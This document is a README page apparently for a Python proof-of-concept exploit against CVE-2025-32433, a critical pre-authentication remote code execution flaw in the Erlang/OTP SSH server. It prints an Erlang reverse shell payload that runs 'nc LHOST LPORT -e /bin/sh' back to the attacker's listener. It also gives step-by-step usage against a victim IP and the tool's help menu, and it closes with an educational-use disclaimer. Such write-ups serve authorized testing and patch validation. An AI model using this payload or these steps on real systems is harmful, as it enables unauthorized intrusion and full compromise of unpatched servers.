CVE-2025-32433 PoC — Erlang/OTP SSH Vulnerable to Pre-Authentication RCE

Description

CVE-2025-32433 Erlang SSH Library Exploit 🛑

Readme

# CVE-2025-32433 Erlang SSH Library Exploit 🛑

# Description:

Erlang/OTP is a set of libraries for the Erlang programming language. Prior to versions `OTP-27.3.3`, `OTP-26.2.5.11`, and `OTP-25.3.2.20`, a SSH server may allow an attacker to perform unauthenticated remote code execution (RCE). By exploiting a flaw in SSH protocol message handling, a malicious actor could gain unauthorized access to affected systems and execute arbitrary commands without valid credentials. This issue is patched in versions `OTP-27.3.3`, `OTP-26.2.5.11`, and `OTP-25.3.2.20`. A temporary workaround involves disabling the SSH server or to prevent access via firewall rules.

# Metrics:

CNA: `GitHub`, Inc. Base Score: 10.0 CRITICAL ⚫ Vector:  CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

# Features:

+ Original exploit by Matthew Keeley
+ Updated version by Tyler Ramsbey:
  1. Command‑line arguments for LHOST, LPORT, RHOST, and RPORT
  2. Built‑in help and usage via `argparse`
  3. Erlang‑style reverse shell payload using `os:cmd("nc LHOST LPORT -e /bin/sh").`
  4. Clean function decomposition and status logging for each stage

# Prerequisites:

+ Python3
+ A working `nc` (Netcat) listener on your attack machine
+ Network access to the target SSH service (default port `22`)

# Usage:

1. Start your listener on the attack box:

```
nc -lvnp 4444
```

2. Run the exploit:

```
python3 CVE-2025-32433.py -lh [Attacker-IP] -lp [Attacker-Port] -rh [Victim-IP] -rp [Victim-Port]
```

3. Wait for the shell to connect back to your listener.

# Help Menu:

```
$ python3 CVE-2025-32433.py -h
usage: CVE-2025-32433.py [-h] -lh LHOST -lp LPORT [-rh RHOST] [-rp RPORT]

Send a pre-auth SSH channel request with an Erlang RCE payload
to get a reverse shell

optional arguments:
  -h, --help            show this help message and exit
  -lh LHOST, --lhost LHOST
                        Local host/IP to receive the reverse shell
  -lp LPORT, --lport LPORT
                        Local port to receive the reverse shell
  -rh RHOST, --rhost RHOST
                        Target SSH server IP (default: 10.10.10.10)
  -rp RPORT, --rport RPORT
                        Target SSH server port (default: 22)
```

# Disclaimer ⚠️

For educational and research purposes only. Use only against systems you own or have permission to test.

File Snapshot

Remarks